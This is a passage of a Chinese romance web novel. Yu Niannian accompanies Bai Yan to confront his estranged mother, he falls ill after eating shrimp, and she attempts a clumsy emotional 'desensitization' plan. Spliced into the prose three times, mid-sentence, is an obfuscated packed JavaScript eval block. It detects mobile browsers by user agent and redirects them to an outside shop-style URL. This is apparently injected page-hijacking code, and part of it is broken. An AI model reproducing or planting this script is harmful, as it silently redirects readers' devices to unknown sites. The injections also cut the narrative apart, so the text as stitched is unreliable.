余念念看了眼身旁的白砚,他一脸心神不定,脸上的笑意也很勉强,筷子虚虚夹了一颗饺子。 “快吃吧,这可是我亲手包的!”余念念轻声对他说。 他回过神来,低头看那颗饺子,果然,是那颗被肉馅“封了口”的饺子,笑了,笑容里的真实感总算恢复了一点。 这时,余爸举起杯,站起身,大声道:“等一下,先别急着吃饺子,我们应该先碰个杯吧!” 余念念想起什么,将杯子里的果汁一饮而尽,起身绕到余爸身边,倒了满满一小杯白酒。 余妈正要制止,被余爸笑着压下来:“今天开心,喝点酒,无妨!” 与此同时,“哗啦”一阵巨大的声响—— 白砚站在桌边,椅子在他身后倒在地上,他面前的桌上,饺子撒了半个桌面,汤汤水水顺着桌沿往下滴,地上,一只陶瓷碗碎成了几瓣。 白砚瞪着手里的手机屏幕,半晌,才回过神来,看到眼前一片狼藉,无措地道歉:“对不起,对不起,我......” 余念念跑回他身边,眼尖地看到手机屏幕上长长一串文字,又看到他另一只手的手背被饺子汤烫得通红。 “没关系的,不用道歉,碎碎平安嘛,是好事呢!” 她抽出几张纸巾,给他擦掉手上和衣服上的汤水,又举起桌上的冰可乐,敷在他被烫伤的手背上。 其他人也纷纷念叨:“碎碎平安碎碎平安!”迅速拿来抹布扫帚之类的,清理着桌上的饺子和地上的碎片。 余念念握住白砚的手,手指在他的手背上安抚地轻触着——虽然她不知道发生了什么,但这样手足无措的白砚让她感到一丝心疼。 他可是天仙呐,天仙不该这样。 “念念,对不起。”白砚低头说道。 “我说了,你不用道歉的,你又没做错事。”余念念柔声安抚着。 “我必须得走了。” 余念念愣住,整个屋子其他人也挺顿住,所有目光都看向白砚。 他红着眼眶,惨白着脸,艰难地从余念念手中抽回自己的手,后退了几步,深深地弯下腰,鞠了个超过九十度的躬。 “叔叔,阿姨,李阿姨,余玩,真的对不起。” 接着,便转身,开门,离开。 34. 空旷 屋内一阵沉默。 所有人看着余念念,而余念念看着白砚离开时的房门。 就这么......走了? 她预想过一百种这场角色扮演最终如何收场,却从没预想到眼前这一种。 在最高潮时,戛然而止。 余玩走过来,扶住余念念的肩膀,带着她坐回座位上,面前的桌上,饺子还热着,酒杯还是满的。 她脑子乱糟糟,眼神无意识地扫视着,定格在某个方向,那里,是白砚拉下的相机。 刚刚,白砚还盯着合照看了很久很久。 余念念回忆起他说“今天真好”时的眼神,那眼神里的依赖和眷恋作不了假。 她站起身,脱口而出:“爸,妈,我......” 余爸余妈像是就等着她做决定,赶紧点头:“你去吧!”“想去就去!” 李阿姨也开口道:“念念,既然不放心,就去吧,小白是个靠谱的孩子,肯定是遇到什么事情了。” “爸妈,李阿姨,对不起,明年我一定好好陪你们过年。” “姐你别废话了,有我呢,你快去追小白哥吧!” 余念念抓起沙发上的相机,奔了出去。 一直追到小区门口,才看到白砚的身影,正要喊,她发现白砚没有到路边打车,而是转弯朝某个方向走着,便默默跟了上去。 走了一段,有点不对劲,这不是回她家的方向么? 进了她家小区,白砚径直朝她家那栋楼的方向走着,远远的,她看见一辆黑色轿车停在她家楼下。 白砚靠近后,一个黑衣男人从驾驶座走下来,打开后座的车门,示意白砚坐进去。 “住手!”余念念大喊着,猛地从树下冲出去,手里举着根刚刚从地上捡的木棍,冲到车边,一下子隔在白砚和黑衣人中间。 “你......我......我没动手!”黑衣男人双手举起,眼里满是惊恐。 “念念?”白砚将余念念拉到身边,眼里一瞬间满是惊喜,但紧接着,转成担忧,“你怎么来了?” 余念念握紧手中的木棍,眼神坚毅:“白砚你别怕,我会保护你!这人是不是□□?你是不是得罪什么人了?你千万别上他的车!” 另一头,黑衣小哥声音满是委屈:“谁是□□啊?我就是接了一单跑腿!早知道这么危险,打赏费再多我也不接!” 余念念瞪他:“跑腿?大过年的谁还跑腿?” “我穷不行么!没钱回家过年!能挣点是点,何况这单打赏费给得多!” “谁找的你?” “我哪知道!听声音是个上了年纪的姐姐,让我就在这个地址等,一直等到有人来上车为止,只要把人接回崇安,就付我来回油费外加一大笔打赏费!” “骗鬼吧你!你怎么知道白砚一定会跟你走?” “那姐姐说他绝对会来的!你看,他这不是来了么!” “......”余念念一阵语塞,转回身,看着白砚,问:“姐姐?你......你被什么奇奇怪怪的女人看上了?” 白砚一阵无力的失笑:“是我母亲......” 余念念:“啊......对不起......” 黑衣小哥也无语:“不是,兄弟,你们母子俩在这玩儿什么强制戏码呢!” 余念念冲他又舞了舞棒子,他立马噤声,做了个拉链封嘴巴的手势。 余念念想了片刻,拉开车门,对白砚道:“我陪你一起去。” 白砚迟疑着:“念念,我不想让你面对她......” “我知道,你想自己面对她,想把我和我们家隔绝在她的视线之外,但是你看,你一遇到跟她有关的事情,就乱了阵脚,我从没见过你像今晚这么不淡定的样子,我觉得你需要一个情绪稳定的支柱,眼下,很显然,那个支柱就是我。” “可是......” “别可是了,你别忘了,我们还在角色扮演,我此时的角色是你的‘女朋友’,女朋友陪男朋友过年看望长辈,天经地义!” 白砚半妥协半松了口气地笑了下,钻进车里,余念念也跟着坐进去。 车外,黑衣小哥面对瞬间转变的局势呆愣了片刻,拉开驾驶座,也坐了进来,嘴里小声嘀咕:“这一家子,戏可真多......” 余念念棍子仍握在手里:“你说什么?” “没什么!我说请系好安全带,我们马上就要出发喽~” —————— 从桐贤开车到崇安,顺畅的话需要五个小时,现在时间是晚上七点,也就是说,到崇安的时间至少是半夜十二点。 上路后,仔细思考了一些点,余念念才觉得细思极恐。 电话轰炸现在看来已经是最轻的了。 电话里被拒绝后,发长长的信息恐吓,且不知道从哪里找到自己家的地址,派人来楼下蹲点。 如果白砚没有提前离开,剧本走向就会是,黑衣小哥迎面碰上从李阿姨家吃完饭回家的余念念一家人,那时,不知道给到这位小哥的又会是什么样的台词,局面又会有多难看。 但这位女士似乎很了解白砚的性格,知道他一定会避免这种情况出现。 但她不知道是,她毁掉了他心里无比珍视的一个夜晚。 余念念扭头看白砚,他正眉头紧蹙着看向窗外,像是沉浸在醒着的梦魇里。 她不想打扰他,黑衣小哥在前面,现在也不是聊事情的好时机,她便自己靠在椅背上闭目养神。 不知过了多久,一只手轻轻伸到她耳后,将她的脑袋扶向一侧,靠倒在软硬适中的承载物上——那是白砚的肩膀。 余念念微不可闻地叹了口气。 天仙的家庭复杂程度进一步升级,几乎已经达到了地狱级难度。 其实,如果她想的话,他在年夜饭上的突然离开是她抽身出这段关系的最好契机——借题发挥,生气指责,就此陌路,一气呵成——毕竟,先离开的人是白砚。 但......她实在受不了白砚手足无措地道歉后落荒而逃的样子。 余念念呐余念念,你美女难过天仙关呐! —————— 凌晨十二点半。 车子缓缓停在崇安市中心一家灯火通明的五 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14261875|148187||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 星饭店门口。 门口的侍应生走上前来,替他们打开车门,训练有素的语调平稳地问道:“请问,是翁女士的贵客么?” 余念念看向白砚,他点点头。 刚下车,黑车小哥狂按了几下喇叭,在侍应生和余念念的怒视中飞驰而去——可能这一晚上对于他来说过于魔幻了。 对谁来说不是呢?余念念回身,看着富丽堂皇的饭店大堂。 侍应生领着他们上了装饰豪华的电梯,又走挂满油画的走廊,三个人的脚步声被厚重的地毯默默消化掉,越走越无声。 “那个......”余念念张望了一番,前后左右没有一个人,“客人们都吃完饭走了么?” “不,是翁女士今晚包下了这一层。”侍应生有礼貌地答道。 余念念:“......” 白砚在一旁低声说道:“她有钱。” 余念念愣了下,白砚的语调太平淡,完全听不出是嘲讽还是陈述。 走廊尽头处,是一扇厚重的雕花双开门,两个身穿制服的侍应生立在门口,见他们走近了,齐齐将门拉开。 门里面,一张极大的大圆桌一点点露出来,桌上的的托盘缓缓转动着,摆了满满一圈的菜肴。圆桌对面,一个女人慢慢从椅子上站了起来。 偌大一间空旷的包间里再无其他人。 白砚用自言自语似的声音说道:“她只有钱了。” 这次,余念念听出来,他的声音里没有嘲讽,只有悲悯。 他可怜这个女人。 “砚砚,你来了!”女人笑着迎过来,声音里透着一丝甜腻,她留着长而卷的头发,发丝打理得富有光泽,身材也保养得很好,即使年岁已大,仍看得出容貌姣好。 满脸的笑意,在看到白砚身后的余念念时,消散了一半。 接着,是从头到脚审视的眼神,一寸一寸地看下来。 白砚半跨一步,挡在余念念身前,打断她的扫视:“这是我女朋友。” 余念念安抚地拍了拍他的手臂,走上前一步,微微点头道:“阿姨您好,我叫余念念。” 女人的对余念念的话没有回应,眼神重新落到白砚身上,表情出现了一丝委屈:“砚砚,怎么这么冷冰冰的,不喊妈妈么?” 一阵长久的沉默后,白砚极为平淡地喊了声:“妈。” 女人脸上又堆满笑意,拉着他往包间里面走。余念念的手被白砚握着,不得不跟上去。 他们被带到一个拉开的座椅边,座椅前的桌面上,一只碗里盛满了吃的,鱼肉,鸡腿,狮子头,鹅肝,饺子......像是大杂烩,最上面,是几只已经剥了壳的虾。 余念念感受到,白砚的身体在看到那只碗的瞬间僵住了。 女人却毫无察觉,兴高采烈地将白砚按坐在椅子上,将一双筷子塞进他的手中,坐在他身边,眼神紧紧地盯着他。 “砚砚,快吃呀,都是热的,每隔半个小时,我都让他们撤掉冷的,重新上一桌热的,快趁热吃!” 女人又伸出双手,递到白砚眼睛下面:“看,为了给你剥虾,我新做的指甲都弄坏了!” 35. 心疼 凌晨一点的崇安市中心街道上仍然人气不减。 余念念紧紧跟在白砚后面,快步往前走着,终于,拐进一条昏暗的小巷后,白砚扶着墙面,弯腰一阵干呕。 十分钟前,他在五星饭店吃下了满满一碗食物,丢下句:“您满意了吧?”不待对方回答,就拉着余念念走了出来。 “没事了,没事了......”余念念轻轻拍着他的背,嘴里安抚着。 白砚直起身,转身抱住余念念,力道大得像要把余念念揉碎,破碎的喘息声在她耳边低声道:“念念,我好疼啊......” 余念念内心一下子母性爆棚,赶紧安慰:“我知道我知道,她怎么能这么逼你!你心里肯定很不好受,换我我也疼,我不仅疼,我还堵得慌!” 白砚发出声自嘲的轻笑:“这么多年了,她还是没记住,我不能吃虾......” 余念念:“......嗯?不能吃虾?” 那刚刚堆在最上面的几只害翁女士美甲受损的大虾——? “唔......”白砚发出声带着痛意的闷哼,全身的重量几乎都压到余念念身上,摇摇欲坠。 一滴液体顺着他的脸颊滴到余念念额头上,她这才意识到,那是白砚的冷汗。 “白砚!”余念念用力将白砚和自己的身体分开,看到他紧皱的眉头和苍白的脸色,额头上、下巴上全是疼出来的汗珠。 下一秒,失去支撑的白砚倒在了地上,手紧紧地按在腹部,整个身体蜷缩起来。 “白砚!你撑住,我打120!你千万要撑住!”余念念大喊着,将他上半身扶起,半靠在自己怀里,颤抖着手摸索出手机。 十分钟后,救护车风驰电掣赶到,将两人接上了车。 车上仪器稳定地发出滴滴声,随车医生观察了阵,表情平稳。 “医生!快救他呀!他快疼死了!”余念念焦急大喊,白砚在她怀里不住翻腾,下嘴唇被咬出血,血迹在惨白的脸上异常扎眼。 “放心,他的生命体征很平稳,死不了。”医生慢悠悠地说道,手里捣鼓着什么,“我给他打针止疼针。” “那您快点!快呀!”余念念急得要死,恨不得自己上手。 医生从口罩上方、眼镜下面撇了她一眼:“小姑娘,这么心疼还让你男朋友吃虾?大过年的,这不是没事找事么!” 余念念愣住,想起翁女士心疼自己剥虾剥坏了美甲时在意的表情,又想到白砚看到虾时一瞬间的僵硬,心脏一瞬间像被什么捏紧,从咬紧的牙缝里低声应道:“是啊,怎么会有这样的女人......” —————— 第二天早上,崇安市东方医院。 余念念被一阵阳光晃醒,朦朦胧胧睁开眼睛,感到一阵腰酸背痛。 手臂伸展了一半,她察觉到什么,扭头,病床上,白砚的目光柔柔看着她。 一瞬间,像是情景再现——在桐贤市人民医院的那个早上,似乎也是这样。 只是,这次白砚脸上只有虚弱,没有微笑。 “你醒啦,还疼么?”话说着,她手比脑子快,已经伸到白砚的肚子上,隔着薄薄一层衣服,感到胃还在手心里一下一下抽搐着。 白砚摇摇头,将手覆盖在她的手上。 余念念反应过来,脸一下子升温,触电一样将手抽了回来。 “下次别这么傻了,疼的是自己。” “我只是不懂,为什么别人的妈妈能记住,她却怎么也记不住。” “不要什么都自己憋着,要像我一样,有不满就发作出来!” 白砚笑了:“就像你对阿姨说,她‘要儿子不要女儿’?” “对!就是这样!不说出来,别人会以为你长得很好,实际上,你心里的伤口已经深不见底了。” 白砚垂下眼睫,沉默了一阵子,又浅浅笑起来:“不过,已经好很多了。” “什么好很多?” “生病,在医院醒来。小时候,我妈就是在某一次喂我吃了虾之后离开的,我对她的最后印象就是在医院里,醒来,她就不见了。但是,最近的两次生病,醒来都有你在。” “放心吧,以后你生病,都会——有人陪着的。” 话的后半段,余念念忍住,没说“都会有我陪着”,同时,在心里默念:余念念,把持住,不要母爱泛滥,不要因为同情啊可怜啊之类的情绪,就脑子发热做出什么承诺。 天仙需要的不是同情,你余念念需要的,也不是冲动之下未经深思熟虑的爱情。 —————— 大年初二,一大早,老街茶馆开了张。 魏大爷像是在门口安了摄像头,茶馆开门五分钟后,便揣着本棋谱走了进来,脸上带着满意的笑容:“余老板还是讲诚信呐!说三天就三天,三天一到,准时开张!” 余念念:“......魏大爷,您也新年快乐!” “这三天过得咋样?”魏大爷笑眯眯地问,一看就知道他这个年过得十分滋润,桂云嫂的大餐肯定深得他的心。 余念念:“过得......很充实。” 确实,没有比这三天更充实的了!前段温情喜剧,中段悬疑推理,后段伤痛文学,往好的来说,剧情密度极大,往坏的来说——她长叹一口气——没有坏的,人生嘛,重在体验...... 过了一会儿,半上午,小优背着双肩背蹦蹦跳跳地进来了。 一见她,余念念二话不说,将手里的鸡毛掸子塞进她手里:“来的真及时,你接着干活,我要去煮粥了!” 小优撇了她一眼,将嘴边的一句“新年快乐”吞下去,片刻后,又寻味出什么,把鸡毛掸子往柜台上一放,跟到厨房,问:“煮粥给谁喝?” 余念念手上淘着米,随口答道:“给白砚。” “你俩过年好上了?” 余念念动作顿住,转过身,瞪她:“你一个少女,怎么遣词造句如此粗糙?” 小优思索片刻:“你俩过年互诉衷肠了?” 余念念:“......” 说到互诉衷肠,她想起年夜饭前白砚本来有话要对她说的, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14267713|148187||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 被他妈一个电话打断了——这个姓翁的女士,真不愧是儿子感情和健康的双重绊脚石。 “没有!” “那你为啥要给他煮粥?” “我在治愈一个受伤的□□,以及心灵。” 小优陷入沉思:“......我重点应该放在哪个词上?肉|体?还是心灵?” 余念念绷不住:“行我说人话,白砚他病了!我煮粥慰问他!” “......哦那就是肉|体。” “你给我掸灰去吧你!” —————— 颜喜书画斋。 余念念捧着保温饭盒进了门,惊喜地看到白老坐在柜台后,快步走过去:“白爷爷,您从洪家村回来啦?” “哈哈哈,回来了,刚坐下来没多久!小余,快过来,跟我说说,你和白砚这个年过得怎么样?” 余念念一听,白老这是还没知道情况,于是眼珠子一转,小碎步转到柜台里面,坐在白老身旁,冲着他的耳朵一阵低了咕噜。 几分钟后—— “什么?有这种事!”白老从椅子上站了起来,拐杖重重砸在地板上,发出两声巨响。 白砚匆忙从后屋走出来,看着自己爷爷:“发生什么事了?” “你没吃完年夜饭就被你妈叫回崇安啦?”白老瞪着眼睛问。 白砚眼神转向余念念,她一阵心虚,赶紧起身,挽住白老的胳膊,让他坐下来,同时给他顺着气:“白老,您消消气!” 白老又气不过地站起来:“这么说,你没跟小余父母敬酒?” 余念念又把他扶坐下:“哎呀白爷爷,重点不是这个,重点是,白砚吃了虾,都进医院啦!” “念念......”白砚出声提醒,“我已经好了,爷爷,没事了。” 余念念扭过头去,不看白砚,一副“我就要告状”的样子,对着白老小声道:“白砚脸都疼白了!”又卷起袖子,露出胳膊上的红痕:“看!给我胳膊抓的!您说她怎么这么狠心呐!” 见余念念一脸痛心的样子,白老倒不气了,眼里带了笑意,问:“小余,你心疼白砚啦?” “我......”余念念梗住,“也不叫心疼吧,毕竟,大家是朋友,我也不想看到他生病......” 白老注意到她抱在怀里的保温盒,笑意更深:“这是给白砚带的?是你亲自煮的粥么?” 轮到余念念坐不住了,她站起来,掩饰地原地打了个转:“白老,您怎么不心疼心疼自己孙子,还老问我一些无关痛痒的问题!” 白老:“哦,好好好,我心疼,心疼着呢!白砚,你过来!” 白砚听话地走近,坐在两人对面,静静等着自己爷爷问话。 余念念也坐下,关心地看了眼白砚——他眼下一片青灰,脸色还有些虚弱——同时,也期待白老对那个姓翁的女人做出些评判。 只见白老摸着胡子,沉吟了片刻,看向白砚,语调关切: “白砚呐,我还是想知道,咱们准备的那些礼物,小余父母还满意么?” 36. 伤口 颜喜书画斋,爷孙俩一起安抚一只炸毛的余念念。 “心疼心疼!我跟你一样心疼白砚!” 白老的语气像哄小孩,余念念的不满仍挂在脸上。 白砚眼里藏着笑意:“念念,爷爷是知道我每次吃虾只会胃疼,不会有危险,所以才没那么着急。” 余念念在心里翻了个白眼,感情疼的不是你自己?我这是什么?皇帝不急太监急? “不过,话说回来,你母亲怎么突然回来了?她这次回来是干嘛的?”白老正色道。 “她......又离婚了。”白砚低声道,“分了一笔财产,自己一个人回国了。” “所以,就来找你来了?” 白砚点点头。 余念念听得云里雾里,但又不好开口问,毕竟,这是别人家里事。 这时,白老像是察觉到她的疑惑,也没当她是外人,扭头对她道:“小余,你别介意,白砚的母亲在他小时候就跟他爸爸离婚了,以后啊,也不会插手白砚的事,你放心!” 余念念小声嘀咕:“......跟我有什么关系,我为什么要放心......” 白砚看向白老:“爷爷,她已经插手了。” “哼,我不会允许她再胡来!”白老扽了扽拐杖,“还有你,你自己也要强硬一点,别被她牵着鼻子走!就说这次,她叫你回来,你就真的丢下小余一家人回来了?你怎么这么听话!” 余念念赶紧替白砚说话:“白爷爷您别怪白砚!他也是没办法的!那位翁女士手段高明,找了个人蹲守在我家楼下威胁白砚,白砚是为了顾全大局才先一步回来的!” 白老充分演绎什么是两幅面孔,换上一副笑脸冲余念念道:“好,小余啊,你这么体谅白砚,我就放心了,你爸妈那边,没生气吧?” “......没,我解释过了,白砚家里有急事,他们能理解。” “好!那我觉得啊,下次,两家——” “下次啊!”余念念赶紧起身,把白砚从椅子上拉起来,往后面的桌子边走,“下次还不知道啥时候呢,白爷爷,这次,先让白砚养好身体吧,粥都快凉了!” 粥确实凉了。 余念念跟在白砚后面进了他家店铺后屋,看着他把粥倒到陶瓷碗里,再放进微波炉里热。 等着的时间,她十分小心地问:“翁女士在你几岁的时候离开的?” 叮—— 微波炉发出声声响,白砚将粥拿出来,领着余念念到桌边坐下。 “你是不是很早就觉得我的家庭很奇怪了?”白砚问。 余念念不敢承认,但眨巴的眼睛和四处乱转的眼神替她作了回答:是。 “我很小的时候,有过一段完美的家庭生活,就像你们家那样。后来,我爸的生意做得大了,几乎每天都要在外面应酬,把我的教育和生活都丢给了我妈。我妈晚熟,生性自由散漫,那段时间带我带得很崩溃,在我小学快结束的时候就丢下一切逃走了。我爸很生气,但拿我妈没办法,只能离婚还我妈自由,把我送到老街跟爷爷一起生活。” 白砚语气平淡,像在说别人家的事情,若不是余念念见过他被他妈一通电话击溃的样子,几乎就要以为他的过去对他的现在没有任何影响。 “你现在已经长大了,她伤害不了你了。” 白砚沉默着,良久,才轻声说道:“我永远忘不了,小时候,她温柔抱着我的样子,只要那个画面还存在在我的脑子里,她就能轻易地刺穿我。因为我见过她的温柔,而她的不再温柔,是因为带我生活太难、太累、太绝望。是我自己杀死了她作为母亲的温柔。” —————— 从颜喜书画斋回茶馆的路上,余念念抱着饭盒,失魂落魄。 “余老板,想什么呢?叫你好几声都没听到!”陈帆从身后追上她。 “我在思考一个医学问题......”余念念喃喃道。 “哦?说来听听!” “如果你有一个陈年伤口,表面上已经好了,实际内里溃烂了,但这时你发现伤口里面有当初没取出来的刀片,你很受折磨,问,应该怎么治?” 陈帆沉吟片刻,答道:“我觉得应该先挂精神科。” 余念念:“......嗯?” “对啊!这人肯定脑子有毛病才觉得里面有刀片,有刀片的话人早死了,还活到现在?嗯,一定要先挂精神科!” “......你才精神病呢!你今晚别来我天台调酒了!” “啊,别呀余老板,那可是我的精神支柱!” 余念念站住,认真地看向陈帆:“来都来了,我采访你一下,你的成长过程中,有没有遇到过‘妈妈不够爱我’这样的烦恼?” 陈帆的脸色微变,摇头:“没有,只有‘妈妈太爱我’这样的烦恼。” 余念念:“......再见!” —————— 老街茶馆的柜台后,余老板边对着手机念念有词,边在小本本上记着什么。 “脱敏反应......增加致敏源在主体周围的暴露......通过少量多次的刺激,达到帮助主体积累抗体直至克服过敏反应的目的......” 小优拿着扫帚路过,听了一耳朵,狂皱眉头:“老板,你在干嘛?” “我在查一些医学方面的知识。” “然后呢?” “然后形成治疗方案。” “......你这听着不像要治疗,像是要投毒。” 余念念“啧”了一声:“你懂个屁!” 小优把扫帚一扔,扶着余念念的肩膀猛摇:“你是不是想要给小白哥喂虾好让他脱敏?你清醒一点啊!新闻上说了,这属于变相投毒!性质恶劣!会坐牢的!” 余念念被她摇得快散架了,大喊一声:“不是你想的那样!” 小优停手:“那是哪样?” 余念念极为认真地说道:“你仔细想想,生活里,是不是你越缺什么,就对什么越渴望?越不了解什么,就越觉得什么东西有吸引力?” 小优想了想,点点头。 “实际上,等你拥有了、了解了一件事 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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几分钟后,沮丧消失,余念念举着手机连下了几单道具,嘴里振振有词:“行不行的,都试试就知道了,死马当作活马医吧,还有比天仙情况更差的么......” —————— 第二天上午,颜喜书画斋。 冬日暖阳从外面洒进店内,照得柜台里太师椅上坐着的白老昏昏欲睡。 里面的沙发上,白砚举着本书,半眯着眼睛,慵懒地翻看着。 “今天小余还送粥来么?”白老问。 白砚想了想,嘴角微微上扬:“应该会吧。” 话音未落,哒哒哒——一阵高跟鞋的脚步声踏进店内,脚步声之上,店门口出现的女人身影婀娜多姿——长长的大波浪,修身的连衣裙,腰肢纤细,顾盼生姿——除了手上抱着的保温饭盒有点违和以外,其他堪称完美。 “白砚,喝粥了。”女人说话的声音也似乎特意调整了下,听上去格外甜腻。 白老的瞌睡彻底没了,从椅子上站起身,顾不上拄拐杖,走了出来,瞪着眼睛:“小余,今天是什么日子,需要这么隆重?” 白砚走近了,从头到脚将余念念观察了一番,看到她手上还做了美甲,微微皱眉:“余念念,你在作什么妖?” 说着,一把将她拉进店内:“大冬天穿这么少,不怕冻死么?” 动作间,什么东西掉到地上,余念念赶紧停住脚步:“啊,我的道具!” 她将那长筒形的东西捡起来,在白砚面前展开,是一张海报。 “看,一位姓‘翁’的女明星,你认识么?” 37. 笨拙 “余念念,你到底在干嘛?” 颜喜书画斋,白砚问把自己打扮成“翁女士”的余念念。 “我在尝试一种脱敏疗法,让你对翁女士快速脱敏。”余念念像讲解项目方案似的一本正经讲解她的治疗方案,“我的理论基础是这样的:自从你妈在你小时候离开了你,你就一下子缺失了母爱,母亲成了你的某种‘敏感源’,只要触及,你就会受伤害,所以你选择逃避,但是,逃避得了一时,逃避不了永远,伤口没有好全,会疼一辈子。我们长痛不如短痛,让你快速全面适应‘翁女士’的存在,让她的元素全方位包围你,短期可能痛苦了点,但是一旦适应了,你就再也不会因为她的一举一动而产生过敏反应了。” 说着说着,音量降低:“当然了,这是我一厢情愿的办法,没有经过你的同意,如果你不愿意,我马上停止。” 白砚眼眸深沉,看着她只穿了连衣裙冻得微微颤抖的手臂,还有被假发粘得有些泛红的鬓角,轻轻叹了口气,脱下自己的外套,披在她身上:“余念念,有时候,真不知道该说你是精明还是愚笨......” “嗯?什么意思?” “走吧,跟我去个地方。” 白砚将她怀里的保温盒放到茶几上,拉起她的手臂,走出店铺。 —————— 半小时后,两人走进白砚在市中心的那间公寓。 白砚带着她走到一间唯一关着门的房间门口,从怀里掏出把钥匙,开了房门。 里面,是一间没有任何家具的房间,但地上摆满了东西,玩具,零食,书本,衣服,杯子,帽子......来自世界各地,零零散散,摆了一地。绝大多数都是新的,只有房间中央,一小圈空地上,一叠明信片被翻看得磨了边。 “这都是......?” “都是我妈寄来的。离开之后,她热衷于给我寄东西,可能是想弥补对我的亏欠吧。但我一直很倔强地不用她寄来的东西,爷爷、爸爸,都知道,只要她寄来了新东西,都会被我扔进小房间锁起来。但他们都不知道,我每隔一阵子,都会来看她写的明信片。” 他走到中间,捡起地上那叠明信片,上面的字迹不算好看,歪歪扭扭,一看就写得匆忙。 “她很懒,不会专门给我写信,只会在出去玩的时候随手给我寄明信片,但这也比那些冷冰冰的礼物要好。” 他转回身,看着余念念:“你说,我选择逃避跟她相关的一切。是,在别人眼里,我可能是这么坚决地逃避了,但是在这个只有我自己知道的地方,我很没出息,我一遍一遍地看,我简直......太懦弱了。” 余念念说不出话来,她没想到白砚被自己撕裂得这么狠,她不知所措了。 “那......我要怎么才能治好你......我实在想不出办法了......” 白砚笑起来:“你怎么这么笨,我贪恋的只是一个温柔的拥抱而已,你给我就好啦。” “这么简单?” “你愿意的话,就很简单,你不愿意的话,就是世界上最难的事情。” 余念念一点点靠近他,伸出手臂,环住他的腰,感到他也抱紧自己,将脸深深埋进她脖颈里,深深地呼吸了一口。 “是每一天。”他的声音沉闷道。 “什么?” “我说,每一天都需要一个温柔的拥抱,直到治好我为止,你愿意么?” 余念念迟疑着:“只是拥抱而已,对么?” 白砚沉默下来,过了很久,才说道:“或许某一天,拥抱可以变成亲吻,以及其他,但是,在那之前,像你希望的,慢慢来,我可以等。” “......好。” 拥抱延续着,直到一阵闷闷的笑声将它打破。 余念念皱眉:“你在笑什么?” “余念念,你早上出现在店门口,笨拙的样子,真可爱。”白砚的笑意止不住。 “你!”余念念推开他,脸上染上一层红晕,“我都自曝了我是小白,你还好意思嘲笑我!” 白砚又走上前,抱回来:“你就像一个怀揣金手指的学霸,偏要学学渣套网上查来的公式,又努力,又可爱。” 这话说得既不像夸,也不像损,余念念冷哼一声:“我早就说了,这道题对我来说太不公平了!” 白砚的身体突然定住,隔了几秒,扶着余念念的肩膀,看向她的眼睛:“余念念,你骗我。” 余念念不明所以:“骗你什么了?” “你说那晚的事你一点也不记得了。” “!”余念念惊恐万分。 那晚!那晚,就在这间房间,她在白砚背上大喊:这道题太难了!一点也不公平! 完了!她怎么把这个给忘了! 她一把又抱住白砚,躲避他的视线:“我说忘了就是忘了!你拥抱怎么还不认真!我要反悔了!” “......好,你说什么就是什么,鸵鸟小姐。” —————— 中午,回到老街,远远地,余念念看到一个小小的身影趴在自家店铺落地窗上。 她小心走近,走到那个小身影的侧边,看清楚他藏在帽子下面肉乎乎的小脸蛋和直直望着大屏幕的眼睛——是个七八岁左右的小男孩。 余念念顺着他的视线看去,魏大爷和王大爷正在焦灼地角逐当天的胜负。 “小孩儿,你怎么不进去看。”她戳了戳小孩的肩膀。 小男孩很沉稳,直起身,望了她一眼,眼珠子黑白分明:“我没钱,而且,小孩子不能喝茶。” “谁说的,小孩子不喝浓茶就好啦,我从小就喝茶。我带你进去看,不收你钱。” 小孩眼睛亮起来:“你是老板?” 余念念点点头:“走!” 进了店里,余念念倒了一杯淡淡的绿茶递给他,他小大人一样道了谢,捧了茶,站到魏大爷和王大爷桌边,默不作声地看着。 “哟!哪儿来的小孩儿,能看懂么?”王大爷笑道。 小男孩也不回答,只是指了指棋盘上一个点,冲魏大爷道:“下这里,他就快输了。” 两个大爷听了,都一惊,仔仔细细看了看他指的那个点,接着,发出连声惊叹。 魏大爷:“这小子还真会点棋!” 王大爷:“你小子,你看出来也不能说出来呀!” 其他桌的几个大爷闻言都聚过来,围着小孩问这问那 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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刘大爷矜持了几分钟,还是忍不住,又端着草莓凑到小男孩面前,引诱:“他俩还早着呢,你闲着也是闲着,跟我先下一盘吧,爷爷请你吃草莓!” 小男孩这才坐到了刘大爷对面,一老一小摆起了棋盘。 五点,天色黑下来,巷子里飘进饭菜香。 一下午,刘大爷输得多赢的少,但总的来说,有来有回,两人下得兴致高昂。 小男孩看了看手表:“我得回家了,下次我再来。” 刘大爷与他握握手:“我也得回家了,下次来还找我,我天天都在。” 男孩点点头,走到余念念面前,极有礼貌地道:“老板姐姐,今天谢谢你,我明天可以再来么?” 余念念笑得开心:“下了一下午棋,嘴巴都变甜了,当然可以来,我们茶馆欢迎所有喜欢象棋的小棋友!” 有道是,说者无意,听者有心—— 第二天上午,茶馆里正如往日一样下棋的下棋,闲聊的闲聊,门突然被推开,门口传来一声脆脆的童声:“就是这里!” 